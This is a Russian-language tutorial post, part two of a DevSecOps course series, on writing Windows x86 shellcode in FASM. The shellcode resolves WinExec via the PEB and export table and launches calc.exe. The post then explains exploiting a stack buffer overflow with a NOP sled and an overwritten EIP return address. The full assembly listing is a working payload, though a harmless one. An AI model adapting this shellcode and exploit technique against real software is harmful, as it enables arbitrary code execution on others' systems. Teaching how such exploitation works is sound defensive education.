Безопасная разработка и уязвимости кода. Часть 2. Пишем shell-код

—

от автора

В этой статье мы продолжим рассматривать интересную тему эксплуатации уязвимостей кода. В первой части мы выявили наличие самой уязвимости и узнали, какой именно объем байт мы можем передать нашей уязвимой программе для эксплуатации уязвимости. Сейчас мы на время оставим нашу уязвимую программу и поговорим о написании shell-кода.

Только ассемблер – только хардкор!

Конечно, готовый шеллкод можно сгенерировать с помощью msfvenom – утилиты, входящей в состав Metasploit. Можно также попытаться найти готовые эксплоиты, но мы легких путей искать не будем, напишем шеллкод самостоятельно. В качестве нашего рабочего инструмента я буду использовать FASM.

В рамках данной статьи я не буду рассматривать принципы программирования на Ассемблере. Желающие могут нагуглить на просторах сети всю необходимую информацию. Однако, я кратко поясню некоторые особенности написания шеллкода. Основная особенность разработки заключается в том, что мы не можем просто так вызвать необходимые для его работы функции. То есть, если при написании обычной программы мы можем поместить нужные значения в стек и вызвать необходимую функцию ОС (классический вариант push-call или модный с макросами invoke), то шеллкод выполняется в адресном пространстве другой программы и адреса функций ОС нам необходимо вычислить именно в памяти этой программы. Для этого мы сначала находим адрес библиотеки Kernel32 (строки 39-46), затем адрес PE Signature (+0x3C), Export Table (+0x78)  далее перемещаемся по таблице экспорта до тех пор, пока не находим таблицу с адресами функций ОС. Далее мы просто перемещаемся по этой таблице (строка 70 и далее) и ищем соответствие имени искомой функции (в нашем случае это Winexec) и имени функции, указанной в таблице.

Полученный таким образом адрес мы далее будем использовать для вызова нужной функции. Но перед этим нам необходимо передать функции нужные параметры. В случае с Winexec нам необходимо передать строку C:\Windows\System32\calc.exe, для того, чтобы наш шеллкод затем, в лучших традициях эксплуатации уязвимостей, запустил калькулятор.

Байты: плохие и очень плохие

Еще одно отличие нашего шеллкода от обычной программы заключается в том, что наш код в откомпилированном виде не должен содержать так называемых плохих байтов.

Классический пример плохого байта это 0х00. Нулевой байт в памяти означает завершение массива передаваемых данных. То есть, все байты, идущие после этого байта, будут отброшены. Мы будем передавать наш шеллкод как параметр, как делали в первой статье, в итоге, все что будет после нуля просто не будет передано в память и шеллкод не будет выполнен. В зависимости от методов передачи шеллкода уязвимому приложению возможны также другие плохие байты (0х10, 0х13 и другие). Наша задача избавиться от этих плохих байтов, заменив проблемные команды их аналогами, не содержащими данные байты. Для этого мы используемые манипуляции со стеком, представленные в строках 105-111.

Ну и еще одно отличие заключается в том, что мы храним все необходимые для работы нашего шеллкода данные в стеке, так как своего сегмента данных у нас очевидно тоже нет.

После компиляции в FASM приведенная ниже программа должна просто запустить калькулятор.

format PE console  use32  entry start       start:          push eax ; Save all registers         push ebx         push ecx         push edx         push esi         push edi         push ebp          ; Establish a new stack frame          push ebp         mov ebp, esp          sub esp, 18h                    ; Allocate memory on stack for local variables          ; push the function name on the stack          xor esi, esi         push esi                        ; null termination         push 63h         pushw 6578h         push 456e6957h         mov [ebp-4], esp                ; var4 = "WinExec\x00"             ; Find kernel32.dll base address          xor esi, esi                    ; esi = 0         mov ebx, [fs:30h + esi]         ; written this way to avoid null bytes         mov ebx, [ebx + 0x0C]          mov ebx, [ebx + 0x14]          mov ebx, [ebx]           mov ebx, [ebx]           mov ebx, [ebx + 0x10]           ; ebx holds kernel32.dll base address         mov [ebp-8], ebx                ; var8 = kernel32.dll base address           ; Find WinExec address          mov eax, [ebx + 3Ch]            ; RVA of PE signature         add eax, ebx                    ; Address of PE signature = base address + RVA of PE signature         mov eax, [eax + 78h]            ; RVA of Export Table         add eax, ebx                    ; Address of Export Table         mov ecx, [eax + 24h]            ; RVA of Ordinal Table         add ecx, ebx                    ; Address of Ordinal Table         mov [ebp-0Ch], ecx              ; var12 = Address of Ordinal Table         mov edx,eax         add edx,1Fh         inc edx         mov edi, [edx]            ; RVA of Name Pointer Table         add edi, ebx                    ; Address of Name Pointer Table         mov [ebp-10h], edi              ; var16 = Address of Name Pointer Table         mov edx, [eax + 1Ch]            ; RVA of Address Table         add edx, ebx                    ; Address of Address Table         mov [ebp-14h], edx              ; var20 = Address of Address Table         mov edx, [eax + 14h]            ; Number of exported functions         xor eax, eax                    ; counter = 0  .loop:         mov edi, [ebp-10h]      ;  Address of Name Pointer Table         mov esi, [ebp-4]        ;  "WinExec\x00"         xor ecx, ecx         cld         mov edi, [edi + eax*4]         add edi, ebx         add cx, 8         repe cmpsb         jz start.found          inc eax         cmp eax, edx         jb start.loop         add esp, 26h                             jmp start.end         .found:                  ; the counter (eax) now holds the position of WinExec                  mov ecx, [ebp-0Ch]      ; ecx = var12 = Address of Ordinal Table                 mov edx, [ebp-14h]      ; edx = var20 = Address of Address Table                 mov ax, [ecx + eax*2]   ; ax = ordinal number = var12 + (counter * 2)                 mov eax, [edx + eax*4]  ; eax = RVA of function = var20 + (ordinal * 4)                 add eax, ebx            ; eax = address of WinExec =                                           ; = kernel32.dll base address + RVA of WinExec                     xor edx, edx                 push edx                     push 6578652eh                 push 636c6163h                 push 5c32336dh                 push 65747379h                 push 535c7377h                 push 6f646e69h                 push 575c3a43h                 mov esi, esp            ; esi -> "C:\Windows\System32\calc.exe"                 push 10                 ; window state SW_SHOWDEFAULT                 push esi                ; "C:\Windows\System32\calc.exe"                 call eax                ; WinExec                  add esp, 46h            ; clear the stack                 .end:                              pop ebp                 ; restore all registers and exit                 pop edi                 pop esi                 pop edx                 pop ecx                 pop ebx                 pop eax                 ret   

Но это еще не все. Теперь открываем откомпилированный файл в hex-редакторе и смотрим где начинается сам полезный код после PE заголовка. Этот набор байт и есть наше шеллкод. Сохраним его в отдельном файле, например с расширением bin.

NOP-sled и адрес возврата

Теперь самое время вспомнить, чем закончилась предыдущая статья – мы узнали, что для переполнения нам необходимо передать более 644 байт. То есть в эти 644 байта мы должны положить наш шеллкод. Как видно, он без проблем умещается. Однако, шеллкод не стоит располагать в начале этого блока, лучше заполнить первую пару сотен байт значением 0х90. Это инструкция NOP, которая ничего не делает и именно за этим она нам и нужна.  

Итак, давайте попробуем скормить наш новый блок из 644 байт на вход уязвимой программе и посмотрим, что окажется в регистре EIP. Если значение EIP заполнено байтами 0х90, значит нам необходимо уменьшить количество передаваемых байт. Если программа отрабатывает корректно и не останавливается на исключении, значит мы передали меньше байт и переполнение не происходит. Необходимо найти ровно тот объем, после которого происходит затирание EIP. Далее необходимо выяснить, по каким адресам в стеке хранятся переданный нами буфер. Для этого выбираем Карта памяти -> Стек. Ищем наши 0x90.

Далее выбираем адрес одного из байтов 0х90, у меня это 0х0019e1c0. Теперь нам надо записать значение этого адреса в обратном порядке: 0xc0, 0xe1, 0x19. Заодно мы избавились от нулевого байта. Эти три байта добавляем в конец нашего шеллкода. Если мы все сделали правильно и в EIP скопировались ровно эти три байта, то его значение стало равно 0х0019e1c0 и мы успешно подменили адрес следующей выполняемой команды, в результате чего после переполнения буфера управление было передано нашему шеллкоду и мы успешно запустили калькулятор. В случае, если калькулятор не запустился, а отладчик снова остановился на исключении, посмотрите какое значение имеет регистр EIP, возможно надо просто добавит или убавить пару NOP, чтобы корректно подменить значение этого регистра.

Заключение

В этой статье мы посмотрели, как можно написать шеллкод и на практике проэксплуатировать уязвимость. Конечно, данный материал не является простым, однако разработчикам полезно знать к чему на практике может привести уязвимость переполнения буфера.

В следующей статье мы немного поговорим про уязвимости в программах под Линукс и посмотрим какие средства могут помочь нам защититься от таких ошибок в коде.

Материал подготовлен в рамках курса «Внедрение и работа в DevSecOps».


ссылка на оригинал статьи https://habr.com/ru/companies/otus/articles/746148/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *